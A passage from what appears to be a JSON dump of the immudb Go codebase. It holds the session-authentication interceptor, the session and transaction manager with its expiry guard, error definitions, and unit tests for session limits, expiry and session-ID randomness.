    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc (s *ImmuServer) SessionAuthInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {\n\tif auth.GetAuthTypeFromContext(ctx) == auth.SessionAuth && info.FullMethod != \"/immudb.schema.ImmuService/OpenSession\" {\n\t\tsessionID, err := sessions.GetSessionIDFromContext(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif !s.SessManager.SessionPresent(sessionID) {\n\t\t\treturn nil, ErrSessionNotFound\n\t\t}\n\t}\n\treturn handler(ctx, req)\n}\n"
  },
  {
    "path": "pkg/server/sessions/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sessions\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/pkg/errors\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions/internal/transactions\"\n)\n\nvar ErrSessionAlreadyPresent = errors.New(\"session already present\").WithCode(errors.CodInternalError)\nvar ErrNoSessionIDPresent = errors.New(\"no sessionID provided\").WithCode(errors.CodInvalidAuthorizationSpecification)\nvar ErrNoSessionAuthDataProvided = errors.New(\"no session auth data provided\").WithCode(errors.CodInvalidAuthorizationSpecification)\nvar ErrSessionNotFound = errors.New(\"no session found\").WithCode(errors.CodInvalidParameterValue)\nvar ErrOngoingReadWriteTx = errors.New(\"only 1 read write transaction supported at once\").WithCode(errors.CodSqlserverRejectedEstablishmentOfSqlSession)\nvar ErrNoTransactionIDPresent = errors.New(\"no transactionID provided\").WithCode(errors.CodInvalidAuthorizationSpecification)\nvar ErrNoTransactionAuthDataProvided = errors.New(\"no transaction auth data provided\").WithCode(errors.CodInvalidAuthorizationSpecification)\nvar ErrInvalidOptionsProvided = errors.New(\"invalid options provided\")\nvar ErrTransactionNotFound = transactions.ErrTransactionNotFound\nvar ErrGuardAlreadyRunning = errors.New(\"session guard already launched\")\nvar ErrGuardNotRunning = errors.New(\"session guard not running\")\nvar ErrCantCreateSession = errors.New(\"can not create new session\")\nvar ErrMaxSessionsReached = fmt.Errorf(\"%w: max sessions number reached\", ErrCantCreateSession)\nvar ErrCantCreateSessionID = fmt.Errorf(\"%w: generation of session id failed\", ErrCantCreateSession)\nvar ErrWriteOnlyTXNotAllowed = errors.New(\"write only transaction not allowed\")\nvar ErrReadOnlyTXNotAllowed = errors.New(\"read only transaction not allowed\")\n"
  },
  {
    "path": "pkg/server/sessions/internal/transactions/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage transactions\n\nimport \"github.com/codenotary/immudb/pkg/errors\"\n\nvar ErrTransactionNotFound = errors.New(\"no transaction found\").WithCode(errors.CodInvalidParameterValue)\n"
  },
  {
    "path": "pkg/server/sessions/internal/transactions/transactions.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage transactions\n\nimport (\n\t\"context\"\n\t\"sync\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/rs/xid\"\n)\n\ntype transaction struct {\n\tmutex         sync.RWMutex\n\ttransactionID string\n\tsqlTx         *sql.SQLTx\n\tdb            database.DB\n\tsessionID     string\n}\n\ntype Transaction interface {\n\tGetID() string\n\tIsClosed() bool\n\tRollback() error\n\tCommit(ctx context.Context) ([]*sql.SQLTx, error)\n\tGetSessionID() string\n\tDatabase() database.DB\n\tSQLExec(ctx context.Context, request *schema.SQLExecRequest) error\n\tSQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (sql.RowReader, error)\n}\n\nfunc NewTransaction(ctx context.Context, opts *sql.TxOptions, db database.DB, sessionID string) (*transaction, error) {\n\tif opts == nil {\n\t\treturn nil, sql.ErrIllegalArguments\n\t}\n\n\ttransactionID := xid.New().String()\n\n\tsqlTx, err := db.NewSQLTx(ctx, opts.WithExplicitClose(true))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &transaction{\n\t\tsqlTx:         sqlTx,\n\t\ttransactionID: transactionID,\n\t\tdb:            db,\n\t\tsessionID:     sessionID,\n\t}, nil\n}\n\nfunc (tx *transaction) GetID() string {\n\ttx.mutex.RLock()\n\tdefer tx.mutex.RUnlock()\n\n\treturn tx.transactionID\n}\n\nfunc (tx *transaction) IsClosed() bool {\n\ttx.mutex.RLock()\n\tdefer tx.mutex.RUnlock()\n\n\treturn tx.sqlTx == nil || tx.sqlTx.Closed()\n}\n\nfunc (tx *transaction) Rollback() error {\n\ttx.mutex.Lock()\n\tdefer tx.mutex.Unlock()\n\n\tif tx.sqlTx == nil || tx.sqlTx.Closed() {\n\t\treturn sql.ErrNoOngoingTx\n\t}\n\n\treturn tx.sqlTx.Cancel()\n}\n\nfunc (tx *transaction) Commit(ctx context.Context) ([]*sql.SQLTx, error) {\n\ttx.mutex.Lock()\n\tdefer tx.mutex.Unlock()\n\n\tif tx.sqlTx == nil || tx.sqlTx.Closed() {\n\t\treturn nil, sql.ErrNoOngoingTx\n\t}\n\n\t_, cTxs, err := tx.db.SQLExec(ctx, tx.sqlTx, &schema.SQLExecRequest{Sql: \"COMMIT;\"})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn cTxs, nil\n}\n\nfunc (tx *transaction) GetSessionID() string {\n\ttx.mutex.RLock()\n\tdefer tx.mutex.RUnlock()\n\n\treturn tx.sessionID\n}\n\nfunc (tx *transaction) SQLExec(ctx context.Context, request *schema.SQLExecRequest) (err error) {\n\ttx.mutex.Lock()\n\tdefer tx.mutex.Unlock()\n\n\tif tx.sqlTx == nil || tx.sqlTx.Closed() {\n\t\treturn sql.ErrNoOngoingTx\n\t}\n\n\ttx.sqlTx, _, err = tx.db.SQLExec(ctx, tx.sqlTx, request)\n\n\treturn err\n}\n\nfunc (tx *transaction) SQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (sql.RowReader, error) {\n\ttx.mutex.Lock()\n\tdefer tx.mutex.Unlock()\n\n\tif tx.sqlTx == nil || tx.sqlTx.Closed() {\n\t\treturn nil, sql.ErrNoOngoingTx\n\t}\n\n\treturn tx.db.SQLQuery(ctx, tx.sqlTx, request)\n}\n\nfunc (tx *transaction) Database() database.DB {\n\treturn tx.db\n}\n"
  },
  {
    "path": "pkg/server/sessions/internal/transactions/transactions_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage transactions\n\nimport (\n\t\"context\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewTx(t *testing.T) {\n\tpath := t.TempDir()\n\n\tdb, err := database.NewDB(\"db1\", nil, database.DefaultOptions().WithDBRootPath(path), logger.NewSimpleLogger(\"logger\", os.Stdout))\n\trequire.NoError(t, err)\n\n\t_, err = NewTransaction(context.Background(), nil, db, \"session1\")\n\trequire.ErrorIs(t, err, sql.ErrIllegalArguments)\n\n\ttx, err := NewTransaction(context.Background(), sql.DefaultTxOptions(), db, \"session1\")\n\trequire.NoError(t, err)\n\trequire.NotNil(t, tx)\n\n\terr = tx.Rollback()\n\trequire.NoError(t, err)\n\n\t_, err = tx.SQLQuery(context.Background(), nil)\n\trequire.ErrorIs(t, err, sql.ErrNoOngoingTx)\n\n\terr = tx.SQLExec(context.Background(), nil)\n\trequire.ErrorIs(t, err, sql.ErrNoOngoingTx)\n\n\terr = tx.Rollback()\n\trequire.ErrorIs(t, err, sql.ErrNoOngoingTx)\n\n\t_, err = tx.Commit(context.Background())\n\trequire.ErrorIs(t, err, sql.ErrNoOngoingTx)\n}\n"
  },
  {
    "path": "pkg/server/sessions/manager.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sessions\n\nimport (\n\t\"context\"\n\t\"encoding/base64\"\n\t\"math\"\n\t\"os\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/multierr\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions/internal/transactions\"\n)\n\nconst infinity = time.Duration(math.MaxInt64)\n\ntype manager struct {\n\trunning    bool\n\tsessionMux sync.RWMutex\n\tsessions   map[string]*Session\n\tticker     *time.Ticker\n\tdone       chan bool\n\tlogger     logger.Logger\n\toptions    Options\n}\n\ntype Manager interface {\n\tNewSession(user *auth.User, db database.DB) (*Session, error)\n\tSessionPresent(sessionID string) bool\n\tDeleteSession(sessionID string) error\n\tUpdateSessionActivityTime(sessionID string)\n\tStartSessionsGuard() error\n\tStopSessionsGuard() error\n\tGetSession(sessionID string) (*Session, error)\n\tSessionCount() int\n\tGetTransactionFromContext(ctx context.Context) (transactions.Transaction, error)\n\tGetSessionFromContext(ctx context.Context) (*Session, error)\n\tDeleteTransaction(transactions.Transaction) error\n\tCommitTransaction(ctx context.Context, transaction transactions.Transaction) ([]*sql.SQLTx, error)\n\tRollbackTransaction(transaction transactions.Transaction) error\n}\n\nfunc NewManager(options *Options) (*manager, error) {\n\tif options == nil {\n\t\treturn nil, ErrInvalidOptionsProvided\n\t}\n\n\terr := options.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tguard := &manager{\n\t\tsessions: make(map[string]*Session),\n\t\tticker:   time.NewTicker(options.SessionGuardCheckInterval),\n\t\tdone:     make(chan bool),\n\t\tlogger:   logger.NewSimpleLogger(\"immudb session guard\", os.Stdout),\n\t\toptions:  *options,\n\t}\n\n\tguard.options.Normalize()\n\n\treturn guard, nil\n}\n\nfunc (sm *manager) NewSession(user *auth.User, db database.DB) (*Session, error) {\n\tsm.sessionMux.Lock()\n\tdefer sm.sessionMux.Unlock()\n\n\tif len(sm.sessions) >= sm.options.MaxSessions {\n\t\tsm.logger.Warningf(\"max sessions reached\")\n\t\treturn nil, ErrMaxSessionsReached\n\t}\n\n\trandomBytes := make([]byte, 32)\n\tn, err := sm.options.RandSource.Read(randomBytes)\n\tif err != nil {\n\t\tsm.logger.Errorf(\"cant create session id: %v\", err)\n\t\treturn nil, ErrCantCreateSessionID\n\t}\n\tif n < len(randomBytes) {\n\t\tsm.logger.Errorf(\"cant create session id: could produce enough random data\")\n\t\treturn nil, ErrCantCreateSessionID\n\t}\n\n\tsessionID := base64.URLEncoding.EncodeToString(randomBytes)\n\tsm.sessions[sessionID] = NewSession(sessionID, user, db, sm.logger)\n\tsm.logger.Debugf(\"created session %s\", sessionID)\n\n\treturn sm.sessions[sessionID], nil\n}\n\nfunc (sm *manager) SessionPresent(sessionID string) bool {\n\tsm.sessionMux.RLock()\n\tdefer sm.sessionMux.RUnlock()\n\n\t_, isPresent := sm.sessions[sessionID]\n\treturn isPresent\n}\n\nfunc (sm *manager) GetSession(sessionID string) (*Session, error) {\n\tsm.sessionMux.RLock()\n\tdefer sm.sessionMux.RUnlock()\n\n\tsession, ok := sm.sessions[sessionID]\n\tif !ok {\n\t\treturn nil, ErrSessionNotFound\n\t}\n\n\treturn session, nil\n}\n\nfunc (sm *manager) DeleteSession(sessionID string) error {\n\tsm.sessionMux.Lock()\n\tdefer sm.sessionMux.Unlock()\n\n\treturn sm.deleteSession(sessionID)\n}\n\nfunc (sm *manager) deleteSession(sessionID string) error {\n\tsess, ok := sm.sessions[sessionID]\n\tif !ok {\n\t\treturn ErrSessionNotFound\n\t}\n\n\tmerr := multierr.NewMultiErr()\n\n\tif err := sess.CloseDocumentReaders(); err != nil {\n\t\tmerr.Append(err)\n\t}\n\n\tif err := sess.RollbackTransactions(); err != nil {\n\t\tmerr.Append(err)\n\t}\n\n\tdelete(sm.sessions, sessionID)\n\n\treturn merr.Reduce()\n}\n\nfunc (sm *manager) UpdateSessionActivityTime(sessionID string) {\n\tsm.sessionMux.Lock()\n\tdefer sm.sessionMux.Unlock()\n\n\tif sess, ok := sm.sessions[sessionID]; ok {\n\t\tnow := time.Now()\n\t\tsess.SetLastActivityTime(now)\n\t\tsm.logger.Debugf(\"updated last activity time for %s at %s\", sessionID, now.Format(time.UnixDate))\n\t}\n}\n\nfunc (sm *manager) SessionCount() int {\n\tsm.sessionMux.RLock()\n\tdefer sm.sessionMux.RUnlock()\n\n\treturn len(sm.sessions)\n}\n\nfunc (sm *manager) StartSessionsGuard() error {\n\tsm.sessionMux.Lock()\n\tdefer sm.sessionMux.Unlock()\n\n\tif sm.running {\n\t\treturn ErrGuardAlreadyRunning\n\t}\n\tsm.running = true\n\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-sm.done:\n\t\t\t\treturn\n\t\t\tcase <-sm.ticker.C:\n\t\t\t\tsm.expireSessions(time.Now())\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn nil\n}\n\nfunc (sm *manager) IsRunning() bool {\n\tsm.sessionMux.RLock()\n\tdefer sm.sessionMux.RUnlock()\n\n\treturn sm.running\n}\n\nfunc (sm *manager) StopSessionsGuard() error {\n\tsm.sessionMux.Lock()\n\tdefer sm.sessionMux.Unlock()\n\n\tif !sm.running {\n\t\treturn ErrGuardNotRunning\n\t}\n\tsm.running = false\n\tsm.ticker.Stop()\n\n\t// Wait for the guard to finish any pending cancellation work\n\t// this must be done with unlocked mutex since\n\t// mutex expiration may try to lock the mutex\n\tsm.sessionMux.Unlock()\n\tsm.done <- true\n\tsm.sessionMux.Lock()\n\n\t// Delete all\n\tfor id := range sm.sessions {\n\t\tsm.deleteSession(id)\n\t}\n\n\tsm.logger.Debugf(\"shutdown\")\n\n\treturn nil\n}\n\nfunc (sm *manager) expireSessions(now time.Time) (sessionsCount, inactiveSessCount, deletedSessCount int, err error) {\n\tsm.sessionMux.Lock()\n\tdefer sm.sessionMux.Unlock()\n\n\tif !sm.running {\n\t\treturn 0, 0, 0, ErrGuardNotRunning\n\t}\n\n\tinactiveSessCount = 0\n\tdeletedSessCount = 0\n\tsm.logger.Debugf(\"checking at %s\", now.Format(time.UnixDate))\n\tfor ID, sess := range sm.sessions {\n\n\t\tcreatedAt := sess.GetCreationTime()\n\t\tlastActivity := sess.GetLastActivityTime()\n\n\t\tif now.Sub(createdAt) > sm.options.MaxSessionAgeTime {\n\t\t\tsm.logger.Debugf(\"removing session %s - exceeded MaxSessionAgeTime\", ID)\n\t\t\tsm.deleteSession(ID)\n\t\t\tdeletedSessCount++\n\t\t} else if now.Sub(lastActivity) > sm.options.Timeout {\n\t\t\tsm.logger.Debugf(\"removing session %s - exceeded Timeout\", ID)\n\t\t\tsm.deleteSession(ID)\n\t\t\tdeletedSessCount++\n\t\t} else if now.Sub(lastActivity) > sm.options.MaxSessionInactivityTime {\n\t\t\tinactiveSessCount++\n\t\t}\n\t}\n\n\tsm.logger.Debugf(\"Open sessions count: %d\\n\", len(sm.sessions))\n\tsm.logger.Debugf(\"Inactive sessions count: %d\\n\", inactiveSessCount)\n\tsm.logger.Debugf(\"Deleted sessions count: %d\\n\", deletedSessCount)\n\n\treturn len(sm.sessions), inactiveSessCount, deletedSessCount, nil\n}\n\nfunc (sm *manager) GetTransactionFromContext(ctx context.Context) (transactions.Transaction, error) {\n\tsessionID, err := GetSessionIDFromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsess, err := sm.GetSession(sessionID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttransactionID, err := GetTransactionIDFromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn sess.GetTransaction(transactionID)\n}\n\nfunc (sm *manager) GetSessionFromContext(ctx context.Context) (*Session, error) {\n\tsessionID, err := GetSessionIDFromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn sm.GetSession(sessionID)\n}\n\nfunc (sm *manager) DeleteTransaction(tx transactions.Transaction) error {\n\tsessionID := tx.GetSessionID()\n\tsess, err := sm.GetSession(sessionID)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn sess.RemoveTransaction(tx.GetID())\n}\n\nfunc (sm *manager) CommitTransaction(ctx context.Context, tx transactions.Transaction) ([]*sql.SQLTx, error) {\n\terr := sm.DeleteTransaction(tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcTxs, err := tx.Commit(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn cTxs, nil\n}\n\nfunc (sm *manager) RollbackTransaction(tx transactions.Transaction) error {\n\terr := sm.DeleteTransaction(tx)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn tx.Rollback()\n}\n"
  },
  {
    "path": "pkg/server/sessions/manager_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sessions\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"math/bits\"\n\t\"os\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewManager(t *testing.T) {\n\tm, err := NewManager(DefaultOptions())\n\trequire.NoError(t, err)\n\trequire.IsType(t, new(manager), m)\n\trequire.NotNil(t, m.sessions)\n}\n\nfunc TestNewManagerCornerCases(t *testing.T) {\n\t_, err := NewManager(nil)\n\trequire.ErrorIs(t, err, ErrInvalidOptionsProvided)\n}\n\nfunc TestSessionGuard(t *testing.T) {\n\tm, err := NewManager(DefaultOptions())\n\trequire.NoError(t, err)\n\n\tisRunning := m.IsRunning()\n\trequire.False(t, isRunning)\n\n\terr = m.StartSessionsGuard()\n\trequire.NoError(t, err)\n\n\tisRunning = m.IsRunning()\n\trequire.True(t, isRunning)\n\n\terr = m.StartSessionsGuard()\n\trequire.ErrorIs(t, err, ErrGuardAlreadyRunning)\n\n\tisRunning = m.IsRunning()\n\trequire.True(t, isRunning)\n\n\ttime.Sleep(time.Second * 1)\n\n\tisRunning = m.IsRunning()\n\trequire.True(t, isRunning)\n\n\terr = m.StopSessionsGuard()\n\trequire.NoError(t, err)\n\n\tisRunning = m.IsRunning()\n\trequire.False(t, isRunning)\n\n\terr = m.StopSessionsGuard()\n\trequire.ErrorIs(t, err, ErrGuardNotRunning)\n\n\tisRunning = m.IsRunning()\n\trequire.False(t, isRunning)\n\n\t_, _, _, err = m.expireSessions(time.Now())\n\trequire.ErrorIs(t, err, ErrGuardNotRunning)\n}\n\nfunc TestManagerMaxSessions(t *testing.T) {\n\tm, err := NewManager(DefaultOptions().WithMaxSessions(1))\n\trequire.NoError(t, err)\n\n\tsess, err := m.NewSession(&auth.User{}, nil)\n\trequire.NoError(t, err)\n\n\tsess2, err := m.NewSession(&auth.User{}, nil)\n\trequire.ErrorIs(t, err, ErrMaxSessionsReached)\n\trequire.Nil(t, sess2)\n\n\terr = m.DeleteSession(sess.id)\n\trequire.NoError(t, err)\n}\n\nfunc TestGetSessionNotFound(t *testing.T) {\n\tm, err := NewManager(DefaultOptions())\n\trequire.NoError(t, err)\n\n\tsess, err := m.GetSession(\"non-existing-session\")\n\trequire.ErrorIs(t, err, ErrSessionNotFound)\n\trequire.Nil(t, sess)\n}\n\nfunc TestManager_ExpireSessions(t *testing.T) {\n\tconst (\n\t\tSESS_NUMBER = 60\n\t\tSESS_ACTIVE = 30\n\n\t\tTICK = time.Millisecond\n\n\t\tSGUARD_CHECK_INTERVAL  = TICK * 2\n\t\tMAX_SESSION_INACTIVE   = TICK * 10\n\t\tTIMEOUT                = TICK * 50\n\t\tSTATUS_UPDATE_INTERVAL = TICK * 1\n\t)\n\n\tsessOptions := DefaultOptions().\n\t\tWithSessionGuardCheckInterval(SGUARD_CHECK_INTERVAL).\n\t\tWithMaxSessionInactivityTime(MAX_SESSION_INACTIVE).\n\t\tWithMaxSessionAgeTime(infinity).\n\t\tWithTimeout(TIMEOUT)\n\n\tm, err := NewManager(sessOptions)\n\trequire.NoError(t, err)\n\n\tm.logger = logger.NewSimpleLogger(\"immudb session guard\", os.Stdout)\n\n\tsessIDs := make(chan string, SESS_NUMBER)\n\n\tt.Run(\"must correctly create sessions in parallel\", func(t *testing.T) {\n\t\twg := sync.WaitGroup{}\n\t\tfor i := 1; i <= SESS_NUMBER; i++ {\n\t\t\twg.Add(1)\n\t\t\tgo func(u int) {\n\t\t\t\tdefer wg.Done()\n\n\t\t\t\tlid, err := m.NewSession(&auth.User{\n\t\t\t\t\tUsername: fmt.Sprintf(\"%d\", u),\n\t\t\t\t}, nil)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tsessIDs <- lid.GetID()\n\t\t\t}(i)\n\t\t}\n\t\twg.Wait()\n\t\tif t.Failed() {\n\t\t\tt.FailNow()\n\t\t}\n\n\t\trequire.Equal(t, SESS_NUMBER, m.SessionCount())\n\t})\n\n\tt.Run(\"check if session guard removes sessions\", func(t *testing.T) {\n\t\terr = m.StartSessionsGuard()\n\t\trequire.NoError(t, err)\n\n\t\t// keep some sessions active\n\t\tkeepActiveDone := make(chan bool)\n\t\twg := sync.WaitGroup{}\n\t\tfor ac := 0; ac < SESS_ACTIVE; ac++ {\n\t\t\twg.Add(1)\n\t\t\tgo func() {\n\t\t\t\tdefer wg.Done()\n\n\t\t\t\tid := <-sessIDs\n\n\t\t\t\tt := time.NewTicker(STATUS_UPDATE_INTERVAL)\n\t\t\t\tfor {\n\t\t\t\t\tselect {\n\t\t\t\t\tcase <-t.C:\n\t\t\t\t\t\tm.UpdateSessionActivityTime(id)\n\t\t\t\t\tcase <-keepActiveDone:\n\t\t\t\t\t\tt.Stop()\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\n\t\t// Ensure session guard is doing its job\n\t\ttime.Sleep(2 * TIMEOUT)\n\t\trequire.Equal(t, SESS_ACTIVE, m.SessionCount())\n\n\t\t// Cleanup\n\t\tclose(keepActiveDone)\n\t\twg.Wait()\n\n\t\terr = m.StopSessionsGuard()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestManagerSessionExpiration(t *testing.T) {\n\n\tm, err := NewManager(DefaultOptions().\n\t\tWithMaxSessionInactivityTime(5 * time.Second).\n\t\tWithTimeout(10 * time.Second).\n\t\tWithMaxSessionAgeTime(100 * time.Second),\n\t)\n\trequire.NoError(t, err)\n\n\tm.logger = logger.NewSimpleLogger(\"immudb session guard\", os.Stdout)\n\terr = m.StartSessionsGuard()\n\trequire.NoError(t, err)\n\n\tnowTime := time.Now()\n\n\tt.Run(\"do not expire new sessions\", func(t *testing.T) {\n\t\tsess, err := m.NewSession(&auth.User{}, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, m.SessionCount())\n\n\t\tcount, inactive, del, err := m.expireSessions(nowTime)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, count)\n\t\trequire.Zero(t, inactive)\n\t\trequire.Zero(t, del)\n\n\t\trequire.Equal(t, 1, m.SessionCount())\n\n\t\tm.DeleteSession(sess.id)\n\t})\n\n\tt.Run(\"do not expire inactive sessions before additional timeout\", func(t *testing.T) {\n\t\tsess, err := m.NewSession(&auth.User{}, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, m.SessionCount())\n\n\t\tsess.lastActivityTime = nowTime.Add(-7 * time.Second)\n\n\t\tcount, inactive, del, err := m.expireSessions(nowTime)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, count)\n\t\trequire.Equal(t, 1, inactive)\n\t\trequire.Zero(t, del)\n\n\t\trequire.Equal(t, 1, m.SessionCount())\n\n\t\tm.DeleteSession(sess.id)\n\t})\n\n\tt.Run(\"expire inactive sessions once timeout passes\", func(t *testing.T) {\n\t\tsess, err := m.NewSession(&auth.User{}, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, m.SessionCount())\n\n\t\tsess.lastActivityTime = nowTime.Add(-13 * time.Second)\n\n\t\tcount, inactive, del, err := m.expireSessions(nowTime)\n\t\trequire.NoError(t, err)\n\t\trequire.Zero(t, count)\n\t\trequire.Zero(t, inactive)\n\t\trequire.Equal(t, 1, del)\n\n\t\trequire.Equal(t, 0, m.SessionCount())\n\n\t\tm.DeleteSession(sess.id)\n\t})\n\n\tt.Run(\"expire active sessions due to max age\", func(t *testing.T) {\n\t\tsess, err := m.NewSession(&auth.User{}, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, m.SessionCount())\n\n\t\tsess.lastActivityTime = nowTime\n\t\tsess.creationTime = nowTime.Add(-101 * time.Second)\n\n\t\tcount, inactive, del, err := m.expireSessions(nowTime)\n\t\trequire.NoError(t, err)\n\t\trequire.Zero(t, count)\n\t\trequire.Zero(t, inactive)\n\t\trequire.Equal(t, 1, del)\n\n\t\trequire.Equal(t, 0, m.SessionCount())\n\n\t\tm.DeleteSession(sess.id)\n\t})\n}\n\nfunc TestManagerNewSessionCryptographicQuality(t *testing.T) {\n\tm, err := NewManager(DefaultOptions())\n\trequire.NoError(t, err)\n\n\tsess1, err := m.NewSession(&auth.User{}, nil)\n\trequire.NoError(t, err)\n\n\tsess2, err := m.NewSession(&auth.User{}, nil)\n\trequire.NoError(t, err)\n\n\tbitsDifference := 0\n\tfor i := 0; i < len(sess1.id) && i < len(sess2.id); i++ {\n\t\tb1 := ([]byte(sess1.id))[i]\n\t\tb2 := ([]byte(sess2.id))[i]\n\n\t\tdiff := bits.OnesCount8(b1 ^ b2)\n\t\tbitsDifference += diff\n\t}\n\n\trequire.GreaterOrEqual(t, bitsDifference, 90)\n}\n\nfunc TestManagerNewSessionFailureForNoRandomSource(t *testing.T) {\n\tt.Run(\"correctly handle error while reading from random source\", func(t *testing.T) {\n\t\trandSrc := bytes.NewReader(nil)\n\t\topts := DefaultOptions().WithRandSource(randSrc)\n\n\t\tm, err := NewManager(opts)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = m.NewSession(&auth.User{}, nil)\n\t\trequire.ErrorIs(t, err, ErrCantCreateSession)\n\t})\n\n\tt.Run(\"correctly handle not enough data in the random source\", func(t *testing.T) {\n\t\trandSrc := bytes.NewReader([]byte{0x00})\n\t\topts := DefaultOptions().WithRandSource(randSrc)\n\n\t\tm, err := NewManager(opts)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = m.NewSession(&auth.User{}, nil)\n\t\trequire.ErrorIs(t, err, ErrCantCreateSession)\n\t})\n}\n"
  },
  {
